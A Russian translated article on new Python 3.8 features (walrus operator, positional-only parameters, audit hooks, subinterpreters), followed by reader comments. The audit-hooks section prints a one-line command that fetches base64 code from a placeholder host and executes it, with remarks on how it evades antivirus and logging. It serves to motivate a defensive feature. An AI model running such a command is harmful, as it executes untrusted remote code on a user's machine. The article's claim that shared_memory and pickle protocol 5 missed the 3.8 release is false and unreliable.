Следующий перевод подготовлен специально для «питонистов», которым интересно наверняка интересно почитать о новых функциях Python 3.8. В преддверии запуска нового потока по курсу «Разработчик Python» мы не смогли пройти мимо этой темы.

В этой статье мы поговорим про новые функциональные возможности, которые были введены в Python 3.8.




Моржовый оператор (Оператор присваивания)


Мы знаем, что вы этого ждали. Это ожидание восходит еще к тем временам, когда в Python намеренно запретили использовать «=» в качестве оператора сравнения. Некоторым людям это понравилось, поскольку они больше не путали = и == в присваивании и сравнении. Другие сочли неудобной необходимость повторять оператор, либо присваивать его переменной. Давайте перейдем к примеру.

По словам Гвидо, большинство программистов склонны писать:

group = re.match(data).group(1) if re.match(data) else None

Вместо

match = re.match(data)
group = match.group(1) if match else None

Это делает работу программы медленнее. Хотя вполне понятно, почему некоторые программисты все же не пишут первым способом – это загромождает код.

Теперь же у нас есть возможность делать так:

group = match.group(1) if (match := re.match(data)) else None

Кроме того, это полезно при использовании if’ов, чтобы не вычислять все заранее.

match1 = pattern1.match(data)
match2 = pattern2.match(data)
if match1:
    result = match1.group(1)
elif match2:
    result = match2.group(2)
else:
    result = None

И вместо этого мы можем написать:

if (match1 := pattern1.match(data)):
    result = match1.group(1)
elif (match2 := pattern2.match(data)):
    result = match2.group(2)
else:
    result = None

Что является более оптимальным, поскольку второй if не будет считаться, если первый отработает.

На самом деле я очень рад стандарту PEP-572, поскольку он не просто дает ранее не существовавшую возможность, но и использует для этого другой оператор, поэтому его непросто будет спутать с ==.

Однако заодно он предоставляет и новые возможности для ошибок и создания заранее нерабочего кода.

y0 = (y1 := f(x))

Позиционные аргументы


def f(a, b, /, c, d, *, e, f):
    print(a, b, c, d, e, f)

Здесь все, что находится перед / — строго позиционные аргументы, а все, что после * — только ключевые слова.

f(10, 20, 30, d=40, e=50, f=60)     - valid
f(10, b=20, c=30, d=40, e=50, f=60) - b cannot be a keyword argument
f(10, 20, 30, 40, 50, f=60)         - e must be a keyword argument

Область применения этой функции можно выразить одним предложением. Библиотекам проще будет менять свои сигнатуры. Давайте рассмотрим пример:

def add_to_queue(item: QueueItem):

Теперь автор должен поддерживать такую сигнатуру, и имя параметра больше не изменить, поскольку это изменение станет критическим. Представьте, что вам нужно изменить не один элемент, а целый список элементов:

def add_to_queue(items: Union[QueueItem, List[QueueItem]]):

Или так:

def add_to_queue(*items: QueueItem):

Это то, чего раньше вы сделать не могли из-за возможной несовместимости с предыдущей версией. А теперь можете. Кроме того, это больше соответствует конструкциям, которые уже используют такой подход. Например, вы не можете передать kwargs функции pow.

>>> help(pow)
...
pow(x, y, z=None, /)
...
>>> pow(x=5, y=3)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: pow() takes no keyword arguments

Поддержка дебага с помощью f-строк


Небольшая дополнительная функция, которая помогает нам использовать компактный формат записи вида “имя переменной=”, переменная.

f"{chr(65) = }" => "chr(65) = 'A'"

Заметили это, после chr(65)? Тот самый фокус. Он помогает обеспечить укороченный способ печати переменных с помощью f-строк.

Нативная оболочка asyncio


Теперь если мы запустим оболочку Python как ‘python -m asyncio’, нам уже не понадобится asyncio.run(), чтобы запускать асинхронные функции. Await можно использовать непосредственно из самой оболочки:

>python -m asyncio
asyncio REPL 3.8.0b4
Use “await” directly instead of “asyncio.run()”.
Type “help”, “copyright”, “credits” or “license” for more information.
>>> import asyncio
>>> async def test():
… await asyncio.sleep(1)
… return ‘hello’
…
>>> await test()
‘hello’

Вызовы Python runtime audit hooks


Рантайм Python очень сильно полагается на С. Однако код, выполненный в нем, никаким способом не регистрируется и не отслеживается. Это затрудняет мониторинг работы фреймфорков для тестирования, фреймворков для логирования, средств безопасности и, возможно, ограничивает действия, выполняемые рантаймом.

Теперь можно наблюдать за событиями, инициированными рантаймом, включая работу системы импорта модулей и любые пользовательские хуки.

Новое API выглядит следующим образом:

# Add an auditing hook
sys.addaudithook(hook: Callable[[str, tuple]])
# Raise an event with all auditing hooks
sys.audit(str, *args)

Хуки нельзя удалить или заменить. Для CPython хуки, пришедшие из С, считаются глобальными, тогда как хуки, пришедшие из Python, служат только для текущего интерпретатора. Глобальные хуки выполняются перед хуками интерпретатора.

Один из особенно интересных и не отслеживаемых эксплойтов может выглядеть так:

python -c “import urllib.request, base64;
    exec(base64.b64decode(
        urllib.request.urlopen(‘http://my-exploit/py.b64')
    ).decode())”

Такой код не сканируется большинством антивирусных программ, поскольку они ориентируются на распознаваемый код, считываемый при загрузке и записи на диск, и base64 вполне достаточно, чтобы эту систему обойти. Этот код также пройдет такие уровни защиты, как списки управления доступом к файлам или разрешения (когда доступ к файлам не требуется), доверенные списки приложений (при условии, что у Python есть все необходимые разрешения) и автоматический аудит или логгирование (при условии, что у Python есть доступ к интернету или доступ к другой машине в локальной сети, с которой можно получить полезную нагрузку).

С помощью runtime event hooks мы можем решить, как реагировать на любое конкретное событие. Мы можем либо зарегистрировать событие, либо полностью прервать операцию.

multiprocessing.shared_memory


Помогает использовать одну и ту же область памяти из разных процессов/интерпретаторов. В принципе, это может помочь нам сократить время, затрачиваемое на сериализацию объектов для передачи их между процессами. Вместо сериализации, отправки в очередь и десериализации, мы можем просто использовать общую память из другого процесса.

Протокол Pickle и буферы внеполосных данных


Протокол pickle 5 предоставляет поддержу внеполосных буферов, где данные могут передаваться отдельно от основного потока pickle по усмотрению транспортного уровня.

Предыдущие 2 дополнения весьма важны, однако они не были включены в релизную версию Python 3.8, поскольку необходимо проделать еще кое-какую работу по совместимости со старым кодом, однако это может изменить походы к параллельному программированию на Python.

Суб-интерпретаторы


Потоки в Python не могут выполняться параллельно из-за GIL, в то время как процессам требуется много ресурсов. Только начало процесса занимает 100-200 мс, а они еще и потребляют большое количество оперативной памяти. Но кое-что может с ними совладать и это суб-интерпретаторы. GIL – это интерпретатор, поэтому он не повлияет на работу других интерпретаторов, и запускается он легче, чем процесс (хотя и медленнее, чем поток).

Основная проблема, которая в связи с этим возникает, заключается в передаче данных между интерпретаторами, поскольку они не могут передавать состояние, как это делают потоки. Поэтому нам нужно использовать какую-то связь между ними. Pickle, marshal или json можно использовать для сериализации и десериализации объектов, однако работать такой способ будет довольно медленно. Одним из решений является использование общей памяти из модуля процессов.

Подпроцессы, судя по всему, являются хорошим решением для проблем GIL, однако необходимо еще проделать определенный пул работ. В некоторых случаях Python по-прежнему использует “Runtime State” вместо “Interpreter State”. Например, сборщик мусора работает именно так. Поэтому нужно внести изменения в многие внутренние модули, чтобы начать по-нормальному использовать суб-интерпретаторы.

Надеюсь, этот функционал смогут полноценно развернуть уже в версии Python 3.9.

В заключение хочу сказать, что в эту версию добавлен определенный синтаксический сахар, а еще некоторые серьезные улучшения в работе библиотек и процесса выполнения. Однако множество интересных функций так и не попали в релиз, поэтому будем ждать их в Python 3.9.

Источники:


Комментарии (63)


  1. eumorozov
    21.10.2019 18:57
    +2

    У «моржового» присваивания низкий приоритет? Почему он везде в скобках, особенно в операторах if?


    1. asorkin
      22.10.2019 01:46

      Потому что это не присваивание, а именование выражения. То есть само вычисление происходит не в том месте, где стоит :=, а позже, где новое имя используется.

      Это не := из Pascal. Поэтому в стандарте PEP-572 столько места уделено визуальному отделению := от = с помощью тех самых скобок, чтобы избежать ошибочного использования одного оператора вместо другого.


      1. mayorovp
        22.10.2019 09:52

        Погодите, но если это не присваивание, а именование выражения, то зачем его вообще писать в скобках?


        match1 := pattern1.match(data)
        match2 := pattern2.match(data)
        if match1:
            result = match1.group(1)
        elif match2:
            result = match2.group(2)
        else:
            result = None

        Чем вот такой вариант не вариант? Или это всё же присваивание, раз уж оно называется Assignment Expressions?


      1. arabesc
        22.10.2019 21:00

        т.е. некоторые пишут так

        group = re.match(data).group(1) if re.match(data) else None
        хотя это делает программу медленнее (а кому какое дело)
        другие так не пишут, т.к. громоздко (серьёзно?)
        и теперь для этих других придумали сахарок?
        group = match.group(1) if (match := re.match(data)) else None
        [facepalm]


        1. vrnvorona
          23.10.2019 13:03

          В чем проблема сахара? (причем я не шарю, думаю тут не просто сахар)

          Или вы из разряда «не страдал — не мужик»?


          1. arabesc
            23.10.2019 13:15

            проблема, что решается не упомянутая вскользь неэффективность приведённой в пример идиомы, а только сокращается её запись, делая неэффективность ещё менее очевидной, якобы, чтобы большему количеству разработчиков было удобнее писать такой неэффективный код


            1. vrnvorona
              23.10.2019 19:42
              +1

              Разве во втором случае метод match(data) выполняется не один раз вместо двух в первом? Я думал в этом идея.


              1. arabesc
                23.10.2019 21:13

                Разве во втором случае метод match(data) выполняется не один раз вместо двух в первом? Я думал в этом идея.
                да, Вы правы, должно быть одно вычисление
                смутила формулировка ответа asorkin:
                Потому что это не присваивание, а именование выражения. То есть само вычисление происходит не в том месте, где стоит :=, а позже, где новое имя используется.
                это неверно, вычисление будет сразу, это не алиас на выражение, а алиас на результат выражения, где под выражением для := и = подразумевается разный скоуп, поэтому введена синтаксическая разница записи


                1. vrnvorona
                  23.10.2019 21:34

                  Я бы сказал что это одновременно присваивание и выполнение, так проще понимается. На самом деле неплохой сахар чтобы не писать присвоение выше как переменную которую придется использовать.


    1. idisin
      22.10.2019 13:31

      Синтаксис этого оператора запрещает использовать его без скобок, чтобы он не заменял ?=? при обычном использовании


  1. arheops
    21.10.2019 20:55
    +1

    Может писать так легче, но читать — сложнее.
    Как бы вроде бы парадигма питона была — читаемость, не?
    Кажися идем в сторону современной джава…


    1. BasicWolf
      21.10.2019 21:13

      Согласен. После этого кипиша (PEP-572) Гвидо и ушёл с поста BDFL — не было больше сил и нервов противостоять сообществу.


      1. artemisia_borealis
        21.10.2019 21:41

        Кипиш был, но в обратную сторону. Гвидо один из авторов PEP-572. Он его с большим трудом и внедрял.


    1. eumorozov
      21.10.2019 21:19

      Читаемость, на мой взгляд, особенно сильно страдает от аннотаций типов. За ними тяжелее видеть код (может быть временно, потом привыкну, но кажется, что нет).


      1. GamePad64
        21.10.2019 21:53
        +2

        Зато, становится намного более понятно, с чем работает каждая функция, какой тип принимает, какой возвращает. С ними можно прикрутить статический анализатор (mypy), использовать их для сериализации (pydantic), задавать ими форматы данных для API (fastapi).


      1. 0xd34df00d
        22.10.2019 02:14

        Это просто у вас типов выразительных нет.


        В других языках зачастую можно на код и не смотреть, типов достаточно.


      1. Meklon
        22.10.2019 09:23

        С учетом того, что аннотация преимущественно только на аргументах функции и возврате, то особо не загромождает.


        1. eumorozov
          22.10.2019 09:30

          Ну, наверное, вопрос привычки, да. И все же как-то неэстетично выглядит. Когда только начинал изучать Python 20 лет назад, полюбил его именно за простоту, за то что код выглядит как псевдокод.


          Нынешний Python очень сильно отличается от того, с которого начинал (кажется, это был 1.5.2 или даже 1.4). И хотя какие-то вещи мне нравятся и были абсолютно необходимыми, но постоянные радикальные изменения приводят к тому, что он становится совсем другим языком.


          1. MooNDeaR
            22.10.2019 13:15

            Если заменить в тексте Python на C++, то получим тот же самый вывод) Раньше трава была зеленее)


          1. Gutt
            22.10.2019 15:54
            +1

            Так никто аннотации типов использовать не заставляет. Но мне с ними, например, код проще и писать, и читать. Это вот «передадим кучку объектов какого-то там типа» меня всегда в Питоне выстёгивало. Поди разберись, не читая код метода, что передавать и что получим в результате. А тут сразу всё ясно.
            Круче было бы, конечно, со строгой типизацией, но и с имеющейся рантайм-проверкой типов уже можно жить.


            1. eumorozov
              22.10.2019 15:57
              +1

              Я тоже начал использовать, и мне тоже они нравятся именно потому что легче понимать, что передается и получаптся.


              Но все-таки есть какая-то неудовлетворенность от того, что язык перестал быть таким необыкновенно простым. Если бы спросили мое мнение, то я бы и против walrus оператора высказался. Да, он удобнее во многих ситуациях. Но не настолько, чтобы оправдать более запутанные конструкции, которые неизбежно теперь появятся.


      1. mayorovp
        22.10.2019 09:56
        +1

        Как будто докстринги загромождают код меньше, особенно когда там начинают типы всех аргументов расписывать...


    1. SmartyTimmi
      21.10.2019 21:20
      +1

      Если сильно не увлекаться и использовать только там, где «две строчки в одну», то вроде бы вполне читабельно. Ну и может в самом деле некоторый плюс в производительность можно будет получить, хотя как-то сомнительно звучит.


    1. x67
      22.10.2019 00:07
      -2

      Читаемость — весьма субъективное понятие. Там, где джун будет вникать в код, сеньор видя знакомый паттерн уже знает, что и куда писать. А нужно ли делать код понятный всем? Это хоть и часть парадигмы питона, но совсем не значит, что парадигма не может меняться или что все в питоне должно следовать правилам, придуманным целую эпоху назад.


      Я вот, например, люблю высокую плотность экшена в коде, а инициализация/присваиваение перед условием вызывает только раздражение и непонимание, зачем знакомый паттерн нужно переписывать миллионы раз в одних и тех же ситуациях.
      А то, что использование оператора может превратиться в изврат — другой вопрос. Любой инструмент можно использовать неправильно, это же не повод отказываться от удобных инструментов.
      Тот же map может очень органично вписаться в код или стать пыткой. Не выкидывать же его из питона теперь.
      Ну и я считаю, что такие вещи, как := это удел опытных программистов, которые хотят вложить больше смысла в меньшее количество кода. И начинать его использовать надо только тогда, когда почувствуется острая необходимость


      1. CosmoV
        22.10.2019 13:31

        это удел опытных программистов, которые хотят вложить больше
        Так кода то особо меньше не стало, просто он перешел из вертикальной плоскости в горизонтальную.

        Читаемость — весьма субъективное понятие
        Быть может до определенного момента. Любая конструкция имеющая вложенное содержимое локализуемое посредством скобок любого формата по умолчанию заставляет парсить глазами этот текст, ухудшая читаемость.


    1. Pichenug
      22.10.2019 13:31
      -1

      Дело не столько в читаемости, сколько в побочных эффектах в выражениях, которые некоторые захотят использовать, чтобы урвать пару строк код, а в итоге получится такое безобразие, что мало не покажется никому.


  1. BasicWolf
    21.10.2019 21:15

    Всем на заметку: репозиторий с кейсами использования моржового оператора: https://github.com/vlevieux/Walrus-Operator-Use-Cases


  1. evocatus
    21.10.2019 21:17

    del


  1. GamePad64
    21.10.2019 21:56
    +1

    Пока не получается перейти: в python 3.8 поломали API сишных расширений, из-за этого не собирается cython, который во многих библиотеках используется. Конечно, в версии из гита уже поправили, но на pypi ещё не загрузили.


    1. DrMefistO
      21.10.2019 23:48

      Там некоторые экспорты забыли добавить в Python.dll.


      1. GamePad64
        22.10.2019 01:12

        Прежде всего, дело в том, что изменили сигнатуры некоторых функций. В частности, cython при компиляции жалуется на изменение PyCode_New в CPython.


  1. MSC6502
    21.10.2019 23:48

    Идиома «z моржовый» теперь будет прочно ассоциирована с питоном.
    Компилятор-то когда запилят?


    1. hd_keeper
      22.10.2019 13:56

      Уже есть pypy с JIT-ом.


  1. bm13kk
    22.10.2019 01:52
    +1

    моржовый оператор убог
    и как нарушение зен философии
    и как нарушения целоствности языка, где есть конструкция `as`


    1. CheY
      22.10.2019 21:55

      Поддерживаю. Что будет дальше? Введут таки какие-нибудь многострочные лямбды, добавив особый синтаксис, отличный от имеющегося?


    1. BasicWolf
      24.10.2019 22:07

      Вариант с as рассматривали и отклонили: https://www.python.org/dev/peps/pep-0572/#alternative-spellings.
      Если вкратце: не хотели добавлять лишнюю семантику. В рассматриваемых случаях, переменная с правой стороны от as всегда присутствует в области видимости:


      1. import x.y.z as z
        # z = x.y.z
      2. with context as c:
        # c = context.__enter__()


      1. bm13kk
        24.10.2019 23:04

        и аргументация вида `the assignment target doesn't jump`
        если это действительно первый аргумент — то надо было оставить присваивание отдельной строкой.

        > не хотели добавлять лишнюю семантику

        а вот это прямая ложь. := — новая семантика
        as — уже существующая

        более того — она открывает возможность отказаться от сложной (с условием) семантики import. [as .]
        и перейти к совмещению двух более простых семантик (без условий) — отдельно import отдельно as

        Пункт про _enter_ вообще неудачен, так как он будет вызван даже без использования  as.


      1. bm13kk
        24.10.2019 23:08

        Кстати предложение where: тоже очень интересное и красивое.

        Что самое смешное, что это выражение конфликтует с with: что правда.

        Вообще, все эти случаи (и многие поверх) можно было бы обьеденить с самым красивым, коротким и главное (потому что это тоже аргументация как оказалось) старым решением. Функцией (оператором?) let из лиспа.


  1. Begetan
    22.10.2019 11:34
    -1

    Опять код написанный на Python 3.8 не будет запускаться на младших версиях?

    Я не хейтер, просто искренне интересуюсь.


    1. mayorovp
      22.10.2019 11:35
      +1

      А какой язык вообще поддерживает такой вид совместимости?


      1. Begetan
        22.10.2019 11:38

        Пишу на Go, он декларирует (и выполняет) совместимость в версии 1 уже много лет.


        1. mayorovp
          22.10.2019 11:47

          Да ладно? Вон версия 1.10 позволяет писать x[1.0 << s], в то время как в более ранних такой код не скомпилируется.


          1. KReal
            22.10.2019 12:55
            -1

            ну речь об обратной совместимости, наверное


          1. Begetan
            22.10.2019 13:12

            Я проверил, вы правы в этом примере. Но, честно говоря, в языке со строгой типизацией я бы просто не рассчитывал на работу бинарных операций над вещественным типом.

            Может быть есть еще примеры, более ощутимые, так сказать?


            1. mayorovp
              22.10.2019 13:19

              Ну вот в 1.5 было более ощутимое изменение.


              Что же до его давности — это лишь означает что сам язык не развивается. Невозможно одновременно развивать язык и поддерживать как прямую так и обратную совместимость.


    1. valis
      22.10.2019 12:30
      +1

      Вообще не представляю совместимости «в низ» — старшая версия всегда добавляет новые фитчи, которые не доступны младшей версии.
      Совместимость «в верх» (в старшей версии работает код младшей) это еще куда не шло. Такое вроде must have, и даже периодически варнинги интерпретатор выплевывает "...was deprecated'


      1. MechanicZelenyy
        22.10.2019 13:00

        Ну например, я могу скомпилировать код с помощью java11 и полученный байт-код может исполняться на 1.6. Обратная совместимость на уровне синтаксиса и на уровне байт-кода разные вещи, вторую можно попробовать и обеспечить.


        1. mayorovp
          22.10.2019 13:22

          А вот не факт. Лямбды сделаны через invokedynamic, а indy только в 1.7 появилась же.


          1. MechanicZelenyy
            22.10.2019 14:09

            Ну в java там вообще есть куча настроек и заморочек на эту тему.


        1. MooNDeaR
          22.10.2019 18:37
          +1

          Ну, так просто в байт-кода своя версионность и это не считается за пример :D Если в байт-коде поменяют версию с 1.1 до 1.2, то очевидно команды из 1.2 не будут исполняться на старых версиях JVM.


          1. MechanicZelenyy
            23.10.2019 00:29

            Ну в данном случае я могу один и тот же исходный код скомпилировать в обе версии байт-кода и поставлять тут версию, которая нужна пользователю, а в питоне не факт что исходник транслируемый в байт-код для py3, получиться оттранслировать в байт-код для py2.


      1. Begetan
        22.10.2019 13:06
        -1

        Ну в питоне нет ни совместимости вверх ни совместимости вниз, иначе бы не пришлось бы придумывать pip vs pip3 и все эти virtualenv Просто стало интересно неужели в каждой минорная цифре Python 3.x вводятся breakable changes. Как вы там живете вообще? Судя по реакции на безобидный вопрос, не очень.


        1. mayorovp
          22.10.2019 13:22

          Обратная совместимость в Питоне, вообще-то, есть. Надо просто считать python 2 и python 3 двумя разными языками.


          virtualenv, кстати, в go тоже есть и аж двух разных видов (legacy GOPATH и go modules)


          1. Begetan
            22.10.2019 15:56

            Жаль что авторы блогов и составители документации не следуют этому замечательному совету. Но видимо есть причина этому.

            Есть ли гарантия какую версию выдаст команда python --version на произвольной системе? Вот у меня сейчас пишет Python 2.7.15+, а если я удалю Python 3.x у будет ли выпадать сообщение об ошибке или запустится 3.x? Есть сомнения.

            go modules решают в первую очередь проблему breaking changes в библиотеках, то что они фиксируют версию языка — побочный результат, ибо проблема постоянного изменения синтаксиса языка в go не актуальна.


            1. mayorovp
              22.10.2019 16:06

              Ну так virtualenv тоже делался именно для решения проблемы breaking changes в библиотеках. То что его можно использовать для фиксации версии самого python я до вашего комментария как-то даже и не думал...


            1. eumorozov
              22.10.2019 17:31
              +3

              Миграция между 2.x и 3.x — это отделный случай. Это не то, что происходит несколько раз в год — это эпопея, которая длится более десяти лет. И учитывая масштаб изменений, по-моему, все справились с ней весьма неплохо. Наверное до позапрошлого года я имел дело с разными проектами, какие-то на 2.x, какие-то на 3.x, и ни разу у меня не было проблем с переключением на одной машине.


              В ветке 3.x изменения пошли быстрее, но, как правило, код может сломаться только при переносе из под новой версии в старую, и то не всегда. Код, написанный под Python 3.6 в 3.8 ломаться не будет.


              Или я не так понял проблему?


  1. undersunich
    22.10.2019 12:26

    Питон идет в сторону усложнения.Это хорошо или плохо?


    1. red_andr
      23.10.2019 00:44

      Не видел ни одного языка, который шёл бы в сторону упрощения. Ну, по крайней мере из широко используемых. Тут хотя бы никто не заставляет использовать все эти новые особенности.


      1. Vlad800
        23.10.2019 01:41

        Новый С++?


        1. iroln
          23.10.2019 15:06

          Это сарказм что ли? move semantics, variadic templates, вычисления времени компиляции, ranges, ещё больше особо шаблонной магии и т.д. Где тут упрощение то? То, во что превращается C++, который никогда простым и не был, это не упрощение, это вырождение в некоторое новое подмножество языка. И если использовать только его, то в некоторых случаях код получится проще и лаконичнее, но далеко не всегда.


          И подобные статьи этому подтверждение:
          https://habr.com/ru/company/jugru/blog/469465/


          А вот, например, ликбез о том как же правильно передавать аргументы в конструктор в современном C++
          https://habr.com/ru/post/460955/


          А вот этот список так вообще доставляет.
          https://en.cppreference.com/w/cpp/compiler_support


          Ну и "спор" на лоре о размере стандарта C++
          https://www.linux.org.ru/forum/development/14796243


          1. Vlad800
            23.10.2019 20:21

            Я просто выразил опасение, что Python движется возможно не туда (как и С++) — в неконтролируемое расширение. Но кое-что интересное почитать из вашего ответа я для себя нашел.


            1. iroln
              23.10.2019 22:53

              Так и я тоже считаю, что Python идёт куда-то не туда :)
              Вся эта эмуляция типизации, особенно с генериками выглядит чужеродно в питонокоде. Одно дело — аннотировать сигнатуру функции и некоторые переменные для подсказок в IDE и самодокументации кода и совсем другое, когда из динамической типизации пытаются сделать статическую с помощью тайпхинтов и mypy.


              Кстати, пока писал комментарий про C++, потерял одну ссылку, вот она:
              https://habr.com/ru/company/jugru/blog/438260/


  1. RaShe
    23.10.2019 22:44

    Лучше бы switch case добавили.